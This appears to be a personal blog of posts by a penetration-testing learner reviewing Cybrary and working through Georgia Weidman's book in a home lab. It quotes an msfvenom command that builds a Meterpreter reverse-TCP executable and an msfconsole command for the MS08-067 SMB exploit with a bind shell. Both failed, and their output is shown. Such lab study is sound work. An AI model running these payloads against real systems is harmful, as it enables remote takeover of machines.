Initial Thoughts on Cybrary

I am a couple days into Cybrary, and here are my initial reactions:


  • No need to set up the Labs.  They are all configured for you and all you have to do is start writing commands
  • Mentors!  I have set up times to start talking to some people who know about the field.  I start my first session with a mentor today
  • On a path for actual certifications.  The Penetration Tester Track prepares me for the:
    • Security+ (most likely not going to do since I have my CISSP)
    • E-Council CEH (I have v.7 of this one already, but I might retake it since my original go at it is a pitiful story)
    • CompTIA CySA+ (definitely thinking about this one, but there is a tangent PenTest+ cert – not sure why Cybrary has me going for the analyst cert in the Pen Testing Curriculum.  Something to ask the mentors)
    • CompTIA CASP (for sure this one.  I think this one is the CompTIA advanced cert.  Also, I need five years of hands-on experience and I am not sure if I qualify there at the moment.  Another question for the mentors)


  • No need to set up the Labs. They are all configured for you and all you have to do is start writing commands.  This leads to not learning how to set up your own environment, troubleshooting, etc.
  • It’s aggravating that when I complete a Lab, it doesn’t mark it as complete as it should.  I have asked about this, and they say it’s a small bug/glitch.  I hope it can be fixed.  It’s irritating and makes it hard to track my progress – for myself and Cybrary.
  • Money – it’s a little less than $100/month.  BUT, if it lands me in a Pen Testing position, I am game.  This is something to talk to my mentors again on… how to enter the Pen Testing field without just dropping my current career in policy until I can ramp up Pen Testing.  This is a long way from now it feels like, so yeah.  Oh, and SecureSet, well, they are $20K which is hefty and their career counselor has flaked out on me.

So TL;DR, the Pros outweigh the cons.  But, to continue with my own pursuit of spinning up my own lab, I am going to continue with Georgia Weidman’s book on Penetration Testing.   I think there are things to be learned from both approaches.

Moving on to Cybrary

As I move through Georgia Weidman’s book, Penetration Testing: A Hands-On Introduction to Hacking, it is for one, has moved in a direction that, while good, doesn’t quite do a gradual build that I was hoping, and two, many of the apps and commands just don’t work anymore.  They have either been retired or replaced.

I have been eyeing the Cybrary Pro series for quite some time.  When they were offering 20% off, I thought I would take the plunge.  It’s $79.00/month, and I get a mentor and a structure – the labs should be a bit more up to date as well.  Of course, I am taking the penetration testing courses.

I was eyeing SecureSet for a while, but their price tag was high.  Like $20K high.  I think this is for people fresh out of school – it would be great to have that hand on class interaction, but I just simply can’t afford it.  Plus, I have been trying to get them to get a hold of me to talk about classes/courses, and they haven’t.  So the door seems to be closing on that one.

So, Kids, it’s onto Cybrary.


msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=12345 -f exe > chapter4example.exe

…That’s not working either.  The output I am getting is:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes Final size of exe file: 73802 bytes

I think I am going to keep on going….. and it looks like the multi/handler module isn’t working either.  I’ll come back to this as well.

What?! No Msfcli?

So here I am, a little bit into chapter 4, and apparently, msfcli has been depreciated in Metasploit, and that msfconsole -x does the same thing.  Is this true?  I tried running:

msfconsole -x windows/smb/ms08_067_netapi RHOST= PAYLOAD=windows/shell_bind_tcp E

With RHOST as my windows host… the framework starts up and then, I get:

Unknown command: exploit/windows/smb/ms08_067_netapi

..Lovely.  I think since this is just a way to run Metaspolit through the command line interface, I am going to leave this problem and move on from here. Move to come.

Data Manipulation and Netcat

Just got done with chapter 2.  Yeah, 17 days later.  Oh well…

The 2nd chapter for me was a bit of a regurgitation of basic Linux commands, other than a few Data Manipulation commands:

  • sed – this command is ideal for editing files based on certain patterns or expressions
  • awk – another pattern matching tool, but more robust

…and the book talks about Netcat.  Now we are working with networking.

Glad to back on the train.

Creating the Windows 7 target – again.

My mistake – I tried working with a 64-bit version of Windows 7 for Georgia Weidman’s Penetration Testing Book.  If you do that, you are going to have a bad time. So, let’s do this again with a Windows 7 32-bit version.

  • I downloaded Windows 7 Ultimate 32-bit from Softlayer here.  I plan to be done with this book within the 30-day trial window.

  • For Java 7, Update 6, get it here.  I used the x86 version this time.
  • Winamp 5.55 can be downloaded here.
  • Supplementary information on this book can be found here.  This is where Ubuntu is and the BookApp Georgia asks to install at this point of the book.

Make sure you follow the InstallApp PDF that is in the BookApp folder within the supplementary information.  Now finally everything is set up. On to chapter 2.

Software for the Windows 7 target machine

UPDATE: I tried following Georgia Weidman’s Penetration testing book with a 64-bit version of Windows 7 sp1.  IIS just wasn’t installing (I think).  I am blowing away the machine and going to try with a 32-bit version.  Everything below in the post is when I was running through setting up Windows 7 sp1 x64.

Going through Georgia Weidman’s Penetration testing book, I am almost done with Chapter 1.  Looks like the additional software for the Windows 7 target has some issues

  • Since I had so many problems with IE 8, I downloaded the latest version of Firefox as Georgia directs to do.  I used this to download the other software requests.
  • For Java 7, Update 6, get it here.  The link in the book doesn’t work.  I had to create an Oracle account to download it.
  • Winamp 5.55 can be downloaded here.  I didn’t even try to download it from  I haven’t had any luck downloading any application from there.
  • Supplementary information on this book can be found here.  This is where Ubuntu is and the BookApp Georgia asks to install at this point of the book.
  • I am running a 64-bit version of Windows 7.  I started to think this would give me complications when I started seeing x86 versions of files.  Everything actually worked until I needed to install SQLXML 4.0 sp1.  Since the BookApp folders only have the x86 version of SQLXML 4.0 sp1, I went to Microsoft for the 64-bit version which can be found here.

Only from the comfort of your own

A quick blurb – one thing about setting up the networks from Georgia Weidman’s Penetration Testing book is that she has the networks as bridged.  Which is nice, until you start setting up your own static IPs.  I use an Apple Express which has Class A public IPs ( –, so I set my static IPs for XP and Windows 7 in that range.  If you hop on a network that is in the Class C public IP space ( –, it isn’t going to work.  I remembered this when I started using the VMs at the coffee shop rather than home.   The solution?  Either revert back to DHCP to get on the Internet or create another network, this one should be a NAT (Network Address Translation).  This way the VM creates its own NAT behind the LAN/WLAN router.  I am going to then disable it after I get what I need from the Internet.

dhclient and restarting smbd

When I installed Kali 2018.2, after bridging the network in VMWare, I wasn’t able to get to the network.  Through a Kali udemy course, I learned two commands that have been working for me in not only Kali, but other Linux machines to get an ip address and bridge the connection.  In Kali, you are root, so I didn’t need sudo.  If you are using a different user, you will need to sudo to run the commands (with the exception of ifconfig):

  • ifconfig

With ifconfig, look to see what your interface is (eth0, eth1).  Mine is eth0 in Kali, so I wil use that for the next command

  • dhclient eth0

DHCP Client, dhclient, provides a means for configuring one or more network interfaces using the Dynamic Host Configuration Protocol, BOOTP protocol, or if these protocols fail, by statically assigning an address.

  • service smbd restart

smbd is the server daemon that provides filesharing and printing services to Windows clients. The server provides filespace and printer services to clients using the SMB (or CIFS) protocol. This is compatible with the LanManager protocol, and can service LanManager clients. These include MSCLIENT 3.0 for DOS, Windows for Workgroups, Windows 95/98/ME, Windows NT, Windows 2000, OS/2, DAVE for Macintosh, and smbfs for Linux

Now try pinging google:

  • ping

You should be connected now.  Whoo!

XAMPP 1.7.2, Adobe Reader 8.1.2, &

In Georgia Weidman’s Book, Penetration Testing: A Hands-On Introduction to Hacking, it looks like the link to XAMPP 1.7.2, Adobe Reader 8.12, and is broken.

  • I used SourceForge to download XAMPP 1.7.2, direct link here.
  • I used Brothersoft to download Adobe Reader 8.1.2, direct link here. (Disclaimer: Brothersoft has an executable wrapper around the software, where it downloads a Brothersoft executable which downloads Adobe Reader.  Dumb.)
  • I used corelan’s GitHub repo to download, raw file here.